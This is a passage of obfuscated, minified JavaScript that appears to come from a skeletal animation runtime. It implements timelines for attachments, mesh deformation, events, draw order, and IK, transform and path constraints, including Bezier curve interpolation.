_0x56f2bb['b'] = _0x52ee14, _0x1c45dd['r'] = _0x152df8, _0x1c45dd['g'] = _0x517ae4, _0x1c45dd['b'] = _0x4c261d; else { if (0x0 == _0x54f256) { let _0x1376ab = _0xed32f7['data']['color'], _0x31272c = _0xed32f7['data']['darkColor']; _0x56f2bb['r'] = _0x1376ab['r'], _0x56f2bb['g'] = _0x1376ab['g'], _0x56f2bb['b'] = _0x1376ab['b'], _0x1c45dd['r'] = _0x31272c['r'], _0x1c45dd['g'] = _0x31272c['g'], _0x1c45dd['b'] = _0x31272c['b']; } _0x56f2bb['r'] += (_0x2103cd - _0x56f2bb['r']) * _0x52ea25, _0x56f2bb['g'] += (_0x5231a1 - _0x56f2bb['g']) * _0x52ea25, _0x56f2bb['b'] += (_0x52ee14 - _0x56f2bb['b']) * _0x52ea25, _0x1c45dd['r'] += (_0x152df8 - _0x1c45dd['r']) * _0x52ea25, _0x1c45dd['g'] += (_0x517ae4 - _0x1c45dd['g']) * _0x52ea25, _0x1c45dd['b'] += (_0x4c261d - _0x1c45dd['b']) * _0x52ea25; } } }, _0x150783 = class extends _0x477107 { constructor(_0x13c44b, _0x38e35f) { super(_0x13c44b, [_0x1f7b1d + '|' + _0x38e35f]), this['slotIndex'] = 0x0, this['slotIndex'] = _0x38e35f, this['attachmentNames'] = new Array(_0x13c44b); } ['getFrameCount']() { return this['frames']['length']; } ['setFrame'](_0x10dace, _0x28e5c4, _0x1b1aff) { this['frames'][_0x10dace] = _0x28e5c4, this['attachmentNames'][_0x10dace] = _0x1b1aff; } ['apply'](_0x48ed80, _0x5c7b6a, _0x3415e2, _0xd6486d, _0x2836a1, _0x56948c, _0x5a5703) { let _0x4ccc69 = _0x48ed80['slots'][this['slotIndex']]; _0x4ccc69['bone']['active'] && (0x1 != _0x5a5703 ? _0x3415e2 < this['frames'][0x0] ? 0x0 != _0x56948c && 0x1 != _0x56948c || this['setAttachment'](_0x48ed80, _0x4ccc69, _0x4ccc69['data']['attachmentName']) : this['setAttachment'](_0x48ed80, _0x4ccc69, this['attachmentNames'][_0x477107['search1'](this['frames'], _0x3415e2)]) : 0x0 == _0x56948c && this['setAttachment'](_0x48ed80, _0x4ccc69, _0x4ccc69['data']['attachmentName'])); } ['setAttachment'](_0x1b8509, _0x26c935, _0x187d52) { _0x26c935['setAttachment'](_0x187d52 ? _0x1b8509['getAttachment'](this['slotIndex'], _0x187d52) : null); } }, _0x342943 = class extends _0x4695f1 { constructor(_0x41aa12, _0x1a319e, _0x17cbed, _0x24753b) { super(_0x41aa12, _0x1a319e, [_0xf45e3a + '|' + _0x17cbed + '|' + _0x24753b['id']]), this['slotIndex'] = 0x0, this['slotIndex'] = _0x17cbed, this['attachment'] = _0x24753b, this['vertices'] = new Array(_0x41aa12); } ['getFrameCount']() { return this['frames']['length']; } ['setFrame'](_0x5ca3d3, _0x87f703, _0x58cf57) { this['frames'][_0x5ca3d3] = _0x87f703, this['vertices'][_0x5ca3d3] = _0x58cf57; } ['setBezier'](_0x5b2359, _0x5ca511, _0x85058, _0x515c48, _0x2ce6f, _0x124632, _0x52b1d5, _0x5f0f32, _0x2a0532, _0xf43c8c, _0x3143e2) { let _0x4e174e = this['curves'], _0x35657e = this['getFrameCount']() + 0x12 * _0x5b2359; 0x0 == _0x85058 && (_0x4e174e[_0x5ca511] = 0x2 + _0x35657e); let _0x1f59fb = 0.03 * (_0x515c48 - 0x2 * _0x124632 + _0x5f0f32), _0xf90bb1 = 0.03 * _0x2a0532 - 0.06 * _0x52b1d5, _0x3a1b3a = 0.006 * (0x3 * (_0x124632 - _0x5f0f32) - _0x515c48 + _0xf43c8c), _0x5a5e47 = 0.018 * (_0x52b1d5 - _0x2a0532 + 0.33333333), _0x2a536d = 0x2 * _0x1f59fb + _0x3a1b3a, _0x5aeaff = 0x2 * _0xf90bb1 + _0x5a5e47, _0x4ad7d1 = 0.3 * (_0x124632 - _0x515c48) + _0x1f59fb + 0.16666667 * _0x3a1b3a, _0x512a34 = 0.3 * _0x52b1d5 + _0xf90bb1 + 0.16666667 * _0x5a5e47, _0x3485e9 = _0x515c48 + _0x4ad7d1, _0x53cea0 = _0x512a34; for (let _0x281b5b = _0x35657e + 0x12; _0x35657e < _0x281b5b; _0x35657e += 0x2)_0x4e174e[_0x35657e] = _0x3485e9, _0x4e174e[_0x35657e + 0x1] = _0x53cea0, _0x4ad7d1 += _0x2a536d, _0x512a34 += _0x5aeaff, _0x2a536d += _0x3a1b3a, _0x5aeaff += _0x5a5e47, _0x3485e9 += _0x4ad7d1, _0x53cea0 += _0x512a34; } ['getCurvePercent'](_0x5338ae, _0x67c499) { let _0x3c6022 = this['curves'], _0x4589b0 = _0x3c6022[_0x67c499]; switch (_0x4589b0) { case 0x0: let _0x4d81d4 = this['frames'][_0x67c499]; return (_0x5338ae - _0x4d81d4) / (this['frames'][_0x67c499 + this['getFrameEntries']()] - _0x4d81d4); case 0x1: return 0x0; }if (_0x4589b0 -= 0x2, _0x3c6022[_0x4589b0] > _0x5338ae) { let _0x38a269 = this['frames'][_0x67c499]; return _0x3c6022[_0x4589b0 + 0x1] * (_0x5338ae - _0x38a269) / (_0x3c6022[_0x4589b0] - _0x38a269); } let _0x41ce95 = _0x4589b0 + 0x12; for (_0x4589b0 += 0x2; _0x4589b0 < _0x41ce95; _0x4589b0 += 0x2)if (_0x3c6022[_0x4589b0] >= _0x5338ae) { let _0x106a3c = _0x3c6022[_0x4589b0 - 0x2], _0x5396ef = _0x3c6022[_0x4589b0 - 0x1]; return _0x5396ef + (_0x5338ae - _0x106a3c) / (_0x3c6022[_0x4589b0] - _0x106a3c) * (_0x3c6022[_0x4589b0 + 0x1] - _0x5396ef); } let _0x1c612a = _0x3c6022[_0x41ce95 - 0x2], _0x56e9b2 = _0x3c6022[_0x41ce95 - 0x1]; return _0x56e9b2 + (0x1 - _0x56e9b2) * (_0x5338ae - _0x1c612a) / (this['frames'][_0x67c499 + this['getFrameEntries']()] - _0x1c612a); } ['apply'](_0x5daf36, _0x13141e, _0x284141, _0x1bfc70, _0xf7a6a9, _0x2a518a, _0x5a7c09) { let _0x193dbb = _0x5daf36['slots'][this['slotIndex']]; if (!_0x193dbb['bone']['active']) return; let _0xed86a1 = _0x193dbb['getAttachment'](); if (!_0xed86a1) return; if (!(_0xed86a1 instanceof _0x26c777) || _0xed86a1['timelineAttachment'] != this['attachment']) return; let _0xd927d7 = _0x193dbb['deform']; 0x0 == _0xd927d7['length'] && (_0x2a518a = 0x0); let _0x2eae93 = this['vertices'], _0x345481 = _0x2eae93[0x0]['length'], _0x4eabe1 = this['frames']; if (_0x284141 < _0x4eabe1[0x0]) { switch (_0x2a518a) { case 0x0: return void (_0xd927d7['length'] = 0x0); case 0x1: if (0x1 == _0xf7a6a9) return void (_0xd927d7['length'] = 0x0); _0xd927d7['length'] = _0x345481; let _0x1cdf1d = _0xed86a1; if (_0x1cdf1d['bones']) { _0xf7a6a9 = 0x1 - _0xf7a6a9; for (_0x389dbc = 0x0; _0x389dbc < _0x345481; _0x389dbc++)_0xd927d7[_0x389dbc] *= _0xf7a6a9; } else { let _0xb0c6b = _0x1cdf1d['vertices']; for (var _0x389dbc = 0x0; _0x389dbc < _0x345481; _0x389dbc++)_0xd927d7[_0x389dbc] += (_0xb0c6b[_0x389dbc] - _0xd927d7[_0x389dbc]) * _0xf7a6a9; } }return; } if (_0xd927d7['length'] = _0x345481, _0x284141 >= _0x4eabe1[_0x4eabe1['length'] - 0x1]) { let _0x5effb7 = _0x2eae93[_0x4eabe1['length'] - 0x1]; if (0x1 == _0xf7a6a9) { if (0x3 == _0x2a518a) { let _0x305afe = _0xed86a1; if (_0x305afe['bones']) { for (let _0x45c280 = 0x0; _0x45c280 < _0x345481; _0x45c280++)_0xd927d7[_0x45c280] += _0x5effb7[_0x45c280]; } else { let _0x5588eb = _0x305afe['vertices']; for (let _0x5f37a1 = 0x0; _0x5f37a1 < _0x345481; _0x5f37a1++)_0xd927d7[_0x5f37a1] += _0x5effb7[_0x5f37a1] - _0x5588eb[_0x5f37a1]; } } else _0x380bba['arrayCopy'](_0x5effb7, 0x0, _0xd927d7, 0x0, _0x345481); } else switch (_0x2a518a) { case 0x0: { let _0x5acf9c = _0xed86a1; if (_0x5acf9c['bones']) { for (let _0x44a14a = 0x0; _0x44a14a < _0x345481; _0x44a14a++)_0xd927d7[_0x44a14a] = _0x5effb7[_0x44a14a] * _0xf7a6a9; } else { let _0x1f6ea3 = _0x5acf9c['vertices']; for (let _0x17a1be = 0x0; _0x17a1be < _0x345481; _0x17a1be++) { let _0x281b5a = _0x1f6ea3[_0x17a1be]; _0xd927d7[_0x17a1be] = _0x281b5a + (_0x5effb7[_0x17a1be] - _0x281b5a) * _0xf7a6a9; } } break; } case 0x1: case 0x2: for (let _0x1ae376 = 0x0; _0x1ae376 < _0x345481; _0x1ae376++)_0xd927d7[_0x1ae376] += (_0x5effb7[_0x1ae376] - _0xd927d7[_0x1ae376]) * _0xf7a6a9; break; case 0x3: let _0x191f96 = _0xed86a1; if (_0x191f96['bones']) { for (let _0xc67c5d = 0x0; _0xc67c5d < _0x345481; _0xc67c5d++)_0xd927d7[_0xc67c5d] += _0x5effb7[_0xc67c5d] * _0xf7a6a9; } else { let _0xeb2572 = _0x191f96['vertices']; for (let _0x126e15 = 0x0; _0x126e15 < _0x345481; _0x126e15++)_0xd927d7[_0x126e15] += (_0x5effb7[_0x126e15] - _0xeb2572[_0x126e15]) * _0xf7a6a9; } }return; } let _0x221ab2 = _0x477107['search1'](_0x4eabe1, _0x284141), _0x56a7f4 = this['getCurvePercent'](_0x284141, _0x221ab2), _0x4e35b1 = _0x2eae93[_0x221ab2], _0x1dd1a2 = _0x2eae93[_0x221ab2 + 0x1]; if (0x1 == _0xf7a6a9) { if (0x3 == _0x2a518a) { let _0x20cf17 = _0xed86a1; if (_0x20cf17['bones']) for (let _0x17c76e = 0x0; _0x17c76e < _0x345481; _0x17c76e++) { let _0xff9c7d = _0x4e35b1[_0x17c76e]; _0xd927d7[_0x17c76e] += _0xff9c7d + (_0x1dd1a2[_0x17c76e] - _0xff9c7d) * _0x56a7f4; } else { let _0x4a2480 = _0x20cf17['vertices']; for (let _0x3a34ce = 0x0; _0x3a34ce < _0x345481; _0x3a34ce++) { let _0x165211 = _0x4e35b1[_0x3a34ce]; _0xd927d7[_0x3a34ce] += _0x165211 + (_0x1dd1a2[_0x3a34ce] - _0x165211) * _0x56a7f4 - _0x4a2480[_0x3a34ce]; } } } else for (let _0x38702a = 0x0; _0x38702a < _0x345481; _0x38702a++) { let _0x54b663 = _0x4e35b1[_0x38702a]; _0xd927d7[_0x38702a] = _0x54b663 + (_0x1dd1a2[_0x38702a] - _0x54b663) * _0x56a7f4; } } else switch (_0x2a518a) { case 0x0: { let _0x255a70 = _0xed86a1; if (_0x255a70['bones']) for (let _0x440db1 = 0x0; _0x440db1 < _0x345481; _0x440db1++) { let _0x4186e9 = _0x4e35b1[_0x440db1]; _0xd927d7[_0x440db1] = (_0x4186e9 + (_0x1dd1a2[_0x440db1] - _0x4186e9) * _0x56a7f4) * _0xf7a6a9; } else { let _0x58b8f9 = _0x255a70['vertices']; for (let _0x3aad88 = 0x0; _0x3aad88 < _0x345481; _0x3aad88++) { let _0x3473a9 = _0x4e35b1[_0x3aad88], _0xf8a260 = _0x58b8f9[_0x3aad88]; _0xd927d7[_0x3aad88] = _0xf8a260 + (_0x3473a9 + (_0x1dd1a2[_0x3aad88] - _0x3473a9) * _0x56a7f4 - _0xf8a260) * _0xf7a6a9; } } break; } case 0x1: case 0x2: for (let _0x5bfaf6 = 0x0; _0x5bfaf6 < _0x345481; _0x5bfaf6++) { let _0x239a58 = _0x4e35b1[_0x5bfaf6]; _0xd927d7[_0x5bfaf6] += (_0x239a58 + (_0x1dd1a2[_0x5bfaf6] - _0x239a58) * _0x56a7f4 - _0xd927d7[_0x5bfaf6]) * _0xf7a6a9; } break; case 0x3: let _0x876348 = _0xed86a1; if (_0x876348['bones']) for (let _0x57dd57 = 0x0; _0x57dd57 < _0x345481; _0x57dd57++) { let _0x44ccc2 = _0x4e35b1[_0x57dd57]; _0xd927d7[_0x57dd57] += (_0x44ccc2 + (_0x1dd1a2[_0x57dd57] - _0x44ccc2) * _0x56a7f4) * _0xf7a6a9; } else { let _0xfd3a60 = _0x876348['vertices']; for (let _0x59e18e = 0x0; _0x59e18e < _0x345481; _0x59e18e++) { let _0x2d2a98 = _0x4e35b1[_0x59e18e]; _0xd927d7[_0x59e18e] += (_0x2d2a98 + (_0x1dd1a2[_0x59e18e] - _0x2d2a98) * _0x56a7f4 - _0xfd3a60[_0x59e18e]) * _0xf7a6a9; } } } } }, _0x3b84df = class extends _0x477107 { constructor(_0xa69202) { super(_0xa69202, _0x3b84df['propertyIds']), this['events'] = new Array(_0xa69202); } ['getFrameCount']() { return this['frames']['length']; } ['setFrame'](_0x2a0809, _0x25b0b2) { this['frames'][_0x2a0809] = _0x25b0b2['time'], this['events'][_0x2a0809] = _0x25b0b2; } ['apply'](_0x3f8b7b, _0x4e7132, _0xdb370, _0x223f0f, _0x17eea1, _0xad4252, _0x3ad6a2) { if (!_0x223f0f) return; let _0x4aa3a5 = this['frames'], _0x4f112d = this['frames']['length']; if (_0x4e7132 > _0xdb370) this['apply'](_0x3f8b7b, _0x4e7132, Number['MAX_VALUE'], _0x223f0f, _0x17eea1, _0xad4252, _0x3ad6a2), _0x4e7132 = -0x1; else { if (_0x4e7132 >= _0x4aa3a5[_0x4f112d - 0x1]) return; } if (_0xdb370 < _0x4aa3a5[0x0]) return; let _0x27d1b1 = 0x0; if (_0x4e7132 < _0x4aa3a5[0x0]) _0x27d1b1 = 0x0; else { _0x27d1b1 = _0x477107['search1'](_0x4aa3a5, _0x4e7132) + 0x1; let _0x2971da = _0x4aa3a5[_0x27d1b1]; for (; _0x27d1b1 > 0x0 && _0x4aa3a5[_0x27d1b1 - 0x1] == _0x2971da;)_0x27d1b1--; } for (; _0x27d1b1 < _0x4f112d && _0xdb370 >= _0x4aa3a5[_0x27d1b1]; _0x27d1b1++)_0x223f0f['push'](this['events'][_0x27d1b1]); } }, _0x3c427f = _0x3b84df; _0x3c427f['propertyIds'] = ['' + _0x50f840]; var _0x1046ed = class extends _0x477107 { constructor(_0x44d646) { super(_0x44d646, _0x1046ed['propertyIds']), this['drawOrders'] = new Array(_0x44d646); } ['getFrameCount']() { return this['frames']['length']; } ['setFrame'](_0x102fd7, _0x33b593, _0x542db7) { this['frames'][_0x102fd7] = _0x33b593, this['drawOrders'][_0x102fd7] = _0x542db7; } ['apply'](_0x4497b4, _0x18d929, _0x46ef9f, _0x2ac638, _0x1968da, _0x2264d8, _0x2f5360) { if (0x1 == _0x2f5360) return void (0x0 == _0x2264d8 && _0x380bba['arrayCopy'](_0x4497b4['slots'], 0x0, _0x4497b4['drawOrder'], 0x0, _0x4497b4['slots']['length'])); if (_0x46ef9f < this['frames'][0x0]) return void (0x0 != _0x2264d8 && 0x1 != _0x2264d8 || _0x380bba['arrayCopy'](_0x4497b4['slots'], 0x0, _0x4497b4['drawOrder'], 0x0, _0x4497b4['slots']['length'])); let _0x55a7d0 = _0x477107['search1'](this['frames'], _0x46ef9f), _0x3b8479 = this['drawOrders'][_0x55a7d0]; if (_0x3b8479) { let _0x572d70 = _0x4497b4['drawOrder'], _0x5e4cc9 = _0x4497b4['slots']; for (let _0x4e7d62 = 0x0, _0x4e4d29 = _0x3b8479['length']; _0x4e7d62 < _0x4e4d29; _0x4e7d62++)_0x572d70[_0x4e7d62] = _0x5e4cc9[_0x3b8479[_0x4e7d62]]; } else _0x380bba['arrayCopy'](_0x4497b4['slots'], 0x0, _0x4497b4['drawOrder'], 0x0, _0x4497b4['slots']['length']); } }, _0x45823e = _0x1046ed; _0x45823e['propertyIds'] = ['' + _0x30a3ae]; var _0x3a8a6e = class extends _0x4695f1 { constructor(_0xd72e18, _0x4a6918, _0x40765a) { super(_0xd72e18, _0x4a6918, [_0x1d0b1f + '|' + _0x40765a]), this['ikConstraintIndex'] = 0x0, this['ikConstraintIndex'] = _0x40765a; } ['getFrameEntries']() { return 0x6; } ['setFrame'](_0x465ba4, _0x1662c0, _0x5b08c9, _0x5a8369, _0x56a0e9, _0x28a10f, _0x49b573) { _0x465ba4 *= 0x6, this['frames'][_0x465ba4] = _0x1662c0, this['frames'][_0x465ba4 + 0x1] = _0x5b08c9, this['frames'][_0x465ba4 + 0x2] = _0x5a8369, this['frames'][_0x465ba4 + 0x3] = _0x56a0e9, this['frames'][_0x465ba4 + 0x4] = _0x28a10f ? 0x1 : 0x0, this['frames'][_0x465ba4 + 0x5] = _0x49b573 ? 0x1 : 0x0; } ['apply'](_0x498396, _0x297171, _0x1938d3, _0x32c4e9, _0x165450, _0x4bdcf3, _0x443550) { let _0x5a4d98 = _0x498396['ikConstraints'][this['ikConstraintIndex']]; if (!_0x5a4d98['active']) return; let _0x3b9738 = this['frames']; if (_0x1938d3 < _0x3b9738[0x0]) { switch (_0x4bdcf3) { case 0x0: return _0x5a4d98['mix'] = _0x5a4d98['data']['mix'], _0x5a4d98['softness'] = _0x5a4d98['data']['softness'], _0x5a4d98['bendDirection'] = _0x5a4d98['data']['bendDirection'], _0x5a4d98['compress'] = _0x5a4d98['data']['compress'], void (_0x5a4d98['stretch'] = _0x5a4d98['data']['stretch']); case 0x1: _0x5a4d98['mix'] += (_0x5a4d98['data']['mix'] - _0x5a4d98['mix']) * _0x165450, _0x5a4d98['softness'] += (_0x5a4d98['data']['softness'] - _0x5a4d98['softness']) * _0x165450, _0x5a4d98['bendDirection'] = _0x5a4d98['data']['bendDirection'], _0x5a4d98['compress'] = _0x5a4d98['data']['compress'], _0x5a4d98['stretch'] = _0x5a4d98['data']['stretch']; }return; } let _0x18bbb1 = 0x0, _0x136e12 = 0x0, _0x3ff7fd = _0x477107['search'](_0x3b9738, _0x1938d3, 0x6), _0x4562e3 = this['curves'][_0x3ff7fd / 0x6]; switch (_0x4562e3) { case 0x0: let _0x55080e = _0x3b9738[_0x3ff7fd]; _0x18bbb1 = _0x3b9738[_0x3ff7fd + 0x1], _0x136e12 = _0x3b9738[_0x3ff7fd + 0x2]; let _0x46c6ad = (_0x1938d3 - _0x55080e) / (_0x3b9738[_0x3ff7fd + 0x6] - _0x55080e); _0x18bbb1 += (_0x3b9738[_0x3ff7fd + 0x6 + 0x1] - _0x18bbb1) * _0x46c6ad, _0x136e12 += (_0x3b9738[_0x3ff7fd + 0x6 + 0x2] - _0x136e12) * _0x46c6ad; break; case 0x1: _0x18bbb1 = _0x3b9738[_0x3ff7fd + 0x1], _0x136e12 = _0x3b9738[_0x3ff7fd + 0x2]; break; default: _0x18bbb1 = this['getBezierValue'](_0x1938d3, _0x3ff7fd, 0x1, _0x4562e3 - 0x2), _0x136e12 = this['getBezierValue'](_0x1938d3, _0x3ff7fd, 0x2, _0x4562e3 + 0x12 - 0x2); }0x0 == _0x4bdcf3 ? (_0x5a4d98['mix'] = _0x5a4d98['data']['mix'] + (_0x18bbb1 - _0x5a4d98['data']['mix']) * _0x165450, _0x5a4d98['softness'] = _0x5a4d98['data']['softness'] + (_0x136e12 - _0x5a4d98['data']['softness']) * _0x165450, 0x1 == _0x443550 ? (_0x5a4d98['bendDirection'] = _0x5a4d98['data']['bendDirection'], _0x5a4d98['compress'] = _0x5a4d98['data']['compress'], _0x5a4d98['stretch'] = _0x5a4d98['data']['stretch']) : (_0x5a4d98['bendDirection'] = _0x3b9738[_0x3ff7fd + 0x3], _0x5a4d98['compress'] = 0x0 != _0x3b9738[_0x3ff7fd + 0x4], _0x5a4d98['stretch'] = 0x0 != _0x3b9738[_0x3ff7fd + 0x5])) : (_0x5a4d98['mix'] += (_0x18bbb1 - _0x5a4d98['mix']) * _0x165450, _0x5a4d98['softness'] += (_0x136e12 - _0x5a4d98['softness']) * _0x165450, 0x0 == _0x443550 && (_0x5a4d98['bendDirection'] = _0x3b9738[_0x3ff7fd + 0x3], _0x5a4d98['compress'] = 0x0 != _0x3b9738[_0x3ff7fd + 0x4], _0x5a4d98['stretch'] = 0x0 != _0x3b9738[_0x3ff7fd + 0x5])); } }, _0x140dbb = class extends _0x4695f1 { constructor(_0x5f24e0, _0x17b3fe, _0x476317) { super(_0x5f24e0, _0x17b3fe, [_0x1730bd + '|' + _0x476317]), this['transformConstraintIndex'] = 0x0, this['transformConstraintIndex'] = _0x476317; } ['getFrameEntries']() { return 0x7; } ['setFrame'](_0x15e0f, _0x47ba5c, _0x4f3858, _0x7f2d7, _0x5df9b9, _0x2a54f1, _0x51a0e8, _0x3bbf8f) { let _0x2ebd52 = this['frames']; _0x2ebd52[_0x15e0f *= 0x7] = _0x47ba5c, _0x2ebd52[_0x15e0f + 0x1] = _0x4f3858, _0x2ebd52[_0x15e0f + 0x2] = _0x7f2d7, _0x2ebd52[_0x15e0f + 0x3] = _0x5df9b9, _0x2ebd52[_0x15e0f + 0x4] = _0x2a54f1, _0x2ebd52[_0x15e0f + 0x5] = _0x51a0e8, _0x2ebd52[_0x15e0f + 0x6] = _0x3bbf8f; } ['apply'](_0x553856, _0x2562c1, _0x4de69f, _0x3d3749, _0x221d9e, _0x41426f, _0x1cefe7) { let _0x2a8b16 = _0x553856['transformConstraints'][this['transformConstraintIndex']]; if (!_0x2a8b16['active']) return; let _0x40d72c, _0x5e81fd, _0x588137, _0x1a6992, _0x13fb19, _0x4f28d7, _0x151988 = this['frames']; if (_0x4de69f < _0x151988[0x0]) { let _0x81e544 = _0x2a8b16['data']; switch (_0x41426f) { case 0x0: return _0x2a8b16['mixRotate'] = _0x81e544['mixRotate'], _0x2a8b16['mixX'] = _0x81e544['mixX'], _0x2a8b16['mixY'] = _0x81e544['mixY'], _0x2a8b16['mixScaleX'] = _0x81e544['mixScaleX'], _0x2a8b16['mixScaleY'] = _0x81e544['mixScaleY'], void (_0x2a8b16['mixShearY'] = _0x81e544['mixShearY']); case 0x1: _0x2a8b16['mixRotate'] += (_0x81e544['mixRotate'] - _0x2a8b16['mixRotate']) * _0x221d9e, _0x2a8b16['mixX'] += (_0x81e544['mixX'] - _0x2a8b16['mixX']) * _0x221d9e, _0x2a8b16['mixY'] += (_0x81e544['mixY'] - _0x2a8b16['mixY']) * _0x221d9e, _0x2a8b16['mixScaleX'] += (_0x81e544['mixScaleX'] - _0x2a8b16['mixScaleX']) * _0x221d9e, _0x2a8b16['mixScaleY'] += (_0x81e544['mixScaleY'] - _0x2a8b16['mixScaleY']) * _0x221d9e, _0x2a8b16['mixShearY'] += (_0x81e544['mixShearY'] - _0x2a8b16['mixShearY']) * _0x221d9e; }return; } let _0x3eb445 = _0x477107['search'](_0x151988, _0x4de69f, 0x7), _0x3316c2 = this['curves'][_0x3eb445 / 0x7]; switch (_0x3316c2) { case 0x0: let _0x2e8340 = _0x151988[_0x3eb445]; _0x40d72c = _0x151988[_0x3eb445 + 0x1], _0x5e81fd = _0x151988[_0x3eb445 + 0x2], _0x588137 = _0x151988[_0x3eb445 + 0x3], _0x1a6992 = _0x151988[_0x3eb445 + 0x4], _0x13fb19 = _0x151988[_0x3eb445 + 0x5], _0x4f28d7 = _0x151988[_0x3eb445 + 0x6]; let _0x39e36f = (_0x4de69f - _0x2e8340) / (_0x151988[_0x3eb445 + 0x7] - _0x2e8340); _0x40d72c += (_0x151988[_0x3eb445 + 0x7 + 0x1] - _0x40d72c) * _0x39e36f, _0x5e81fd += (_0x151988[_0x3eb445 + 0x7 + 0x2] - _0x5e81fd) * _0x39e36f, _0x588137 += (_0x151988[_0x3eb445 + 0x7 + 0x3] - _0x588137) * _0x39e36f, _0x1a6992 += (_0x151988[_0x3eb445 + 0x7 + 0x4] - _0x1a6992) * _0x39e36f, _0x13fb19 += (_0x151988[_0x3eb445 + 0x7 + 0x5] - _0x13fb19) * _0x39e36f, _0x4f28d7 += (_0x151988[_0x3eb445 + 0x7 + 0x6] - _0x4f28d7) * _0x39e36f; break; case 0x1: _0x40d72c = _0x151988[_0x3eb445 + 0x1], _0x5e81fd = _0x151988[_0x3eb445 + 0x2], _0x588137 = _0x151988[_0x3eb445 + 0x3], _0x1a6992 = _0x151988[_0x3eb445 + 0x4], _0x13fb19 = _0x151988[_0x3eb445 + 0x5], _0x4f28d7 = _0x151988[_0x3eb445 + 0x6]; break; default: _0x40d72c = this['getBezierValue'](_0x4de69f, _0x3eb445, 0x1, _0x3316c2 - 0x2), _0x5e81fd = this['getBezierValue'](_0x4de69f, _0x3eb445, 0x2, _0x3316c2 + 0x12 - 0x2), _0x588137 = this['getBezierValue'](_0x4de69f, _0x3eb445, 0x3, _0x3316c2 + 0x24 - 0x2), _0x1a6992 = this['getBezierValue'](_0x4de69f, _0x3eb445, 0x4, _0x3316c2 + 0x36 - 0x2), _0x13fb19 = this['getBezierValue'](_0x4de69f, _0x3eb445, 0x5, _0x3316c2 + 0x48 - 0x2), _0x4f28d7 = this['getBezierValue'](_0x4de69f, _0x3eb445, 0x6, _0x3316c2 + 0x5a - 0x2); }if (0x0 == _0x41426f) { let _0x36e1d3 = _0x2a8b16['data']; _0x2a8b16['mixRotate'] = _0x36e1d3['mixRotate'] + (_0x40d72c - _0x36e1d3['mixRotate']) * _0x221d9e, _0x2a8b16['mixX'] = _0x36e1d3['mixX'] + (_0x5e81fd - _0x36e1d3['mixX']) * _0x221d9e, _0x2a8b16['mixY'] = _0x36e1d3['mixY'] + (_0x588137 - _0x36e1d3['mixY']) * _0x221d9e, _0x2a8b16['mixScaleX'] = _0x36e1d3['mixScaleX'] + (_0x1a6992 - _0x36e1d3['mixScaleX']) * _0x221d9e, _0x2a8b16['mixScaleY'] = _0x36e1d3['mixScaleY'] + (_0x13fb19 - _0x36e1d3['mixScaleY']) * _0x221d9e, _0x2a8b16['mixShearY'] = _0x36e1d3['mixShearY'] + (_0x4f28d7 - _0x36e1d3['mixShearY']) * _0x221d9e; } else _0x2a8b16['mixRotate'] += (_0x40d72c - _0x2a8b16['mixRotate']) * _0x221d9e, _0x2a8b16['mixX'] += (_0x5e81fd - _0x2a8b16['mixX']) * _0x221d9e, _0x2a8b16['mixY'] += (_0x588137 - _0x2a8b16['mixY']) * _0x221d9e, _0x2a8b16['mixScaleX'] += (_0x1a6992 - _0x2a8b16['mixScaleX']) * _0x221d9e, _0x2a8b16['mixScaleY'] += (_0x13fb19 - _0x2a8b16['mixScaleY']) * _0x221d9e, _0x2a8b16['mixShearY'] += (_0x4f28d7 - _0x2a8b16['mixShearY']) * _0x221d9e; } }, _0x1f2b10 = class extends _0x2691fc { constructor(_0x1cf54f, _0x198066, _0x47c44e) { super(_0x1cf54f, _0x198066, _0x427dcc + '|' + _0x47c44e), this['pathConstraintIndex'] = 0x0, this['pathConstraintIndex'] = _0x47c44e; } ['apply'](_0x46889e, _0x353b5b, _0x428d6b, _0x59cd71, _0x2d2bd4, _0x52da6f, _0x4bb453) { let _0x5f3274 = _0x46889e['pathConstraints'][this['pathConstraintIndex']]; if (!_0x5f3274['active']) return; if (_0x428d6b < this['frames'][0x0]) { switch (_0x52da6f) { case 0x0: return void (_0x5f3274['position'] = _0x5f3274['data']['position']); case 0x1: _0x5f3274['position'] += (_0x5f3274['data']['position'] - _0x5f3274['position']) * _0x2d2bd4; }return; } let _0x107b54 = this['getCurveValue'](_0x428d6b); 0x0 == _0x52da6f ? _0x5f3274['position'] = _0x5f3274['data']['position'] + (_0x107b54 - _0x5f3274['data']['position']) * _0x2d2bd4 : _0x5f3274['position'] += (_0x107b54 - _0x5f3274['position']) * _0x2d2bd4; } }, _0x4efc27 = class extends _0x2691fc { constructor(_0x78b360, _0x359e88, _0x4e61b8) { super(_0x78b360, _0x359e88, _0x5e9772 + '|' + _0x4e61b8), this['pathConstraintIndex'] = 0x0, this['pathConstraintIndex'] = _0x4e61b8; } ['apply'](_0x11be48, _0x5f38b7, _0x56bc88, _0x4fd8df, _0x1ebc08, _0x489795, _0x5360e9) { let _0x3f1d4c = _0x11be48['pathConstraints'][this['pathConstraintIndex']]; if (!_0x3f1d4c['active']) return; if (_0x56bc88 < this['frames'][0x0]) { switch (_0x489795) { case 0x0: return void (_0x3f1d4c['spacing'] = _0x3f1d4c['data']['spacing']); case 0x1: _0x3f1d4c['spacing'] += (_0x3f1d4c['data']['spacing'] - _0x3f1d4c['spacing']) * _0x1ebc08; }return; } let _0x29a360 = this['getCurveValue'](_0x56bc88); 0x0 == _0x489795 ? _0x3f1d4c['spacing'] = _0x3f1d4c['data']['spacing'] + (_0x29a360 - _0x3f1d4c['data']['spacing']) * _0x1ebc08 : _0x3f1d4c['spacing'] += (_0x29a360 - _0x3f1d4c['spacing']) * _0x1ebc08; } }, _0x2fe414 = class extends _0x4695f1 { constructor(_0x57655b, _0x12e1b7, _0x518caa) { super(_0x57655b, _0x12e1b7, [_0x475e30 + '|' + _0x518caa]), this['pathConstraintIndex'] = 0x0, this['pathConstraintIndex'] = _0x518caa; } ['getFrameEntries']() { return 0x4; } ['setFrame'](_0x42279a, _0x489bb4, _0x2de907, _0x5e1a50, _0x3da256) { let _0x7edbd4 = this['frames']; _0x7edbd4[_0x42279a <<= 0x2] = _0x489bb4, _0x7edbd4[_0x42279a + 0x1] = _0x2de907, _0x7edbd4[_0x42279a + 0x2] = _0x5e1a50, _0x7edbd4[_0x42279a + 0x3] = _0x3da256; } ['apply'](_0x264351, _0x5a3991, _0x2a3bcd, _0x50c5e1, _0x3d89eb, _0x2bb547, _0x1784d8) { let _0x1c2015 = _0x264351['pathConstraints'][this['pathConstraintIndex']]; if (!_0x1c2015['active']) return; let _0x2d1bb2, _0x3dffd1, _0x20b9f1, _0x5e0345 = this['frames']; if 